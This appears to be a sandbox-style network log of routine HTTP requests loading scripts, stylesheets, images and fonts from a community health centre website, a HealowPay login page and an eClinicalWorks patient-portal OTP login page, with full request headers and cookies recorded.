Source: global traffic	HTTP traffic detected: GET /HealowPay/jsp/img/icon-healow.png HTTP/1.1Host: www.healowpay.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.healowpay.com/HealowPay/jsp/healow/login.jspAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=8CE94DA95A067ED22B02F72C64DE30D7; ApplicationGatewayAffinityCORS=7c01dadb4c197224376f894aa3ea99d4; ApplicationGatewayAffinity=7c01dadb4c197224376f894aa3ea99d4
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/masonry.min.js?ver=4.2.2 HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/wp-blog-post-layouts/includes/assets/js/frontend.js?ver=1.1.3 HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
Source: global traffic	HTTP traffic detected: GET /HealowPay/jsp/img/icon-healow.png HTTP/1.1Host: www.healowpay.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=8CE94DA95A067ED22B02F72C64DE30D7; ApplicationGatewayAffinityCORS=7c01dadb4c197224376f894aa3ea99d4; ApplicationGatewayAffinity=7c01dadb4c197224376f894aa3ea99d4
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/vpchc/dist/default_page.bundle.js?ver=230904-91951 HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/vpchc/dist/vendor.bundle.js?ver=230904-92000 HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/wp-rocket/assets/js/heartbeat.js?ver=3.15.10 HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
Source: global traffic	HTTP traffic detected: GET /portal14763/jsp/100mp/login_otp.jsp HTTP/1.1Host: mycw108.ecwcloud.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/vpchc/images/img__decor--dots.svg HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://valleyprohealth.org/wp-content/themes/vpchc/dist/acf_block_homepage_hero.css?ver=230904-91937Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/google-language-translator/images/flags.png HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://valleyprohealth.org/wp-content/plugins/google-language-translator/css/style.css?ver=6.0.20Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
Source: global traffic	HTTP traffic detected: GET /portal14763/ss/newLogin/bootstrap.min.css HTTP/1.1Host: mycw108.ecwcloud.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jspAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2020/07/logo__vpchc-mobile.svg HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
Source: global traffic	HTTP traffic detected: GET /portal14763/ss/newLogin/jquery.mCustomScrollbar.css HTTP/1.1Host: mycw108.ecwcloud.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jspAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
Source: global traffic	HTTP traffic detected: GET /portal14763/ss/newLogin/layout.css HTTP/1.1Host: mycw108.ecwcloud.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jspAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
Source: global traffic	HTTP traffic detected: GET /portal14763/ss/newLogin/custom.css HTTP/1.1Host: mycw108.ecwcloud.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jspAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
Source: global traffic	HTTP traffic detected: GET /portal14763/ss/newLogin/media-layout.css HTTP/1.1Host: mycw108.ecwcloud.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jspAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
Source: global traffic	HTTP traffic detected: GET /portal14763/ss/newui/css/jquery-ui.css HTTP/1.1Host: mycw108.ecwcloud.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jspAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2020/07/fqhc_x2logo.png HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2020/09/62_PCMH.svg HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
Source: global traffic	HTTP traffic detected: GET /portal14763/ss/newLogin/devCustomCSS.css HTTP/1.1Host: mycw108.ecwcloud.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jspAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
Source: global traffic	HTTP traffic detected: GET /portal14763/ss/newui/css/wcagStyles.css HTTP/1.1Host: mycw108.ecwcloud.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jspAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
Source: global traffic	HTTP traffic detected: GET /portal14763/jsp/admin/getCroppedImage.jsp?id=0 HTTP/1.1Host: mycw108.ecwcloud.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jspAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
Source: global traffic	HTTP traffic detected: GET /portal14763/images/newLogin/successful.png HTTP/1.1Host: mycw108.ecwcloud.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jspAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2020/09/62_PCMH.svg HTTP/1.1Host: valleyprohealth.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2020/09/83_Behavioral-Health-Integration.svg HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2022/11/FTCA-Badge_web-version.jpg HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/11/HDR-2023.png HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/11/AE-2023.png HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/11/HIT-2023.png HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2020/07/fqhc_x2logo.png HTTP/1.1Host: valleyprohealth.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/11/HQL-gold-2023.png HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
Source: global traffic	HTTP traffic detected: GET /portal14763/ss/fonts/newLogin/devCustomFonts/pxiByp8kv8JHgFVrLGT9Z1xlFQ.woff2 HTTP/1.1Host: mycw108.ecwcloud.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://mycw108.ecwcloud.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://mycw108.ecwcloud.com/portal14763/ss/newLogin/devCustomCSS.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
